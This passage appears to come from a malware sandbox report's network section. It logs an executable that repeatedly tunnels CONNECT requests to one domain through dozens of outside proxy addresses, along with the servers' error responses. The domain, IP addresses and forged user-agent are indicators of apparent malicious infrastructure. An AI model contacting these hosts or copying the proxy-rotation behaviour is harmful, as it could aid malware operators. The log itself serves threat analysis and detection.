Mar 11, 2024 15:21:11.138099909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.825388908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.434679031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:25.637701988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.934396029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.9	51712	103.213.97.74	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.898175001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.362272978 CET	334	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.9	51705	91.134.140.160	2572	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.899033070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.559442997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.637979031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.638191938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.434876919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138816118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.934726954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.9	51996	104.20.34.100	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.905051947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.059339046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.9	52005	104.18.103.125	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.907603979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.061655045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.9	51659	146.59.18.246	40975	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.908854008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.727893114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.887900114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.997348070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.092902899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.9	51748	162.55.87.48	5566	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.913362980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.575071096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.637965918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.638092995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.325712919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.9	51783	203.74.125.18	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.915714979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.9	51795	203.222.24.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.916882992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.9	51745	58.234.116.197	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.918309927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.9	51633	61.178.152.31	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.922281027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.287909031 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.9	51167	95.84.166.138	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.924108982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.9	51781	94.130.94.45	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.924974918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.233593941 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.9	51791	144.76.42.215	8118	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.928298950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.685606003 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.9	51604	119.18.149.34	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.928894997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.9	51756	61.129.2.212	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.932564020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.260174036 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 14:18:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.9	51642	103.242.104.101	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.933284044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.728066921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.152642965 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.9	51765	153.19.91.77	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.942651987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.394989014 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 637 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 73 63 40 67 63 69 2e 67 64 79 6e 69 61 2e 70 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ssc@gci.gdynia.pl to inform them of t
Mar 11, 2024 15:21:30.395039082 CET	293	IN	Data Raw: 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 Data Ascii: he time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.9	51789	13.229.47.109	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.952121973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.284462929 CET	224	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 14:18:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Kong-Response-Latency: -4.9591064453125e-05 Server: kong/2.8.1 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.9	51809	47.242.15.120	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
